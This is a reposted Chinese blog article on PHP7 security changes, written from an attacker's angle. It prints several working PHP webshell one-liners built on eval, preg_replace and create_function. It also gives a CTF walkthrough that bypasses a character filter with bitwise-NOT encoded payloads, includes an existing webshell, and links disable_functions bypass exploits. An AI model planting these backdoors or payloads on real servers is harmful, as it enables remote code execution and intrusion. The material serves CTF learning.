[转]关于PHP7的新特性

PHP7和PHP5上的安全区别

preg_replace()不再支持/e修饰符

利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

preg_replace()利用\e的几个tips

PHP5:
<?php preg_replace("/.*/e",$_GET["h"],".");?>

PHP7:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);?>

OR:

<?php
function backdoor($a)
{
  // 通常: $a[0]是完成的匹配
  // $a[1]是第一个捕获子组的匹配
  // 以此类推
  return eval($a[0]);
}
echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);
?>

create_function()被废弃

<?php
$func =create_function(‘‘,$_POST[‘cmd‘]);$func();
?>

unserialize()增加一个可选白名单参数

略过。。

assert()默认不再可以执行代码(assert和eval的区别)

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

这里说一下assert和eval的区别。

eval函数中参数是字符,如:

eval(‘echo 1;‘);

assert函数中参数为表达式 (或者为函数),如:

assert(phpinfo())

直接传递普通代码是无法执行的,如:assert(‘echo 1;‘);

需要换成assert(eval(‘echo 1;‘));

还有php中有字符串可以替换成函数,比如

[转]关于PHP7的新特性

但是eval()是语言结构,并不是函数,不能作为这样来调用,所以为什么一句话木马里没有将eval用字符串拼接替换,而是用assert。

[转]关于PHP7的新特性

 [转]关于PHP7的新特性

 常见语言结构列表

echo()

print()

die()

isset()

unset()

include(),注意,include_once()是函数

require(),注意,require_once()是函数

array()

list()

empty()

十六进制字符串不再被认为是数字

这个修改一出,以后CTF套路会少很多啊~
很多骚操作都不能用了~

可以见ISCC的一道题目,intval处理不了16进制字符串返回0,+1,被强制转化10进制+1

不向后兼容的变更(移除了 ASP 和 script PHP 标签)

现在只有<?php ?>这样的标签能在php7上运行[转]关于PHP7的新特性

  • 移除&ltscript language="php"&gt;和&lt;%这两种另类的php标签
  • 废弃容易导致变量覆盖的无第二个参数的parse_str

php7函数调用解析方式,实际题目分析

<?php
error_reporting(0);
if(isset($_GET[‘code‘])){
        $code=$_GET[‘code‘];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

这道题目时evoA师傅在极客大挑战中出的一道题目,相比上面的那道题目,这道题目不是简单的让我们去执行函数了,而是让我们通过限制,去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”

$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo

[转]关于PHP7的新特性

 执行一下phpinfo,查看一下被禁用的函数:

[转]关于PHP7的新特性

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数

print_r(scandir(‘./‘));

进行编码操作

%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir

尝试读取当前目录

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

[转]关于PHP7的新特性

 发现了readflag和flag文件,尝试一下直接读取flag

readfile(‘/flag‘);

编码一下

%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag

尝试读取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

[转]关于PHP7的新特性

可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被禁止了,但是经过fuzz发现,php的assert函数没有被禁止,我们可以使用assert函数写shell

assert($_POST[‘a‘]);

编码一下

%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a

尝试一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

[转]关于PHP7的新特性

网页没有正常运行,继续尝试别的方法

在查看tmp目录下发现有其他内容

[转]关于PHP7的新特性

 …某不知名大型跑马场,有现成的就很方便了,随便读一个shell看看内容

[转]关于PHP7的新特性

 尝试文件包含一下

assert(include("hack.php"););

编码一下,执行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

[转]关于PHP7的新特性

 成功执行,使用蚁剑链接一下,上传我们的bypass脚本和拓展库,分享一下常用的两个

[转]关于PHP7的新特性

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这个过程就不演示了,主要就是演示一下最后的利用,包含我们上传的文件  

assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

执行命令

[转]关于PHP7的新特性

 成功拿到了flag。有了前面两道题目的基础,我们继续研究最后一道题目

第三道题目是有关waf的bypass,独立出一篇文章记录

学习文章:https://www.jianshu.com/p/40abc594a118

https://www.jianshu.com/p/40abc594a118
http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/

相关推荐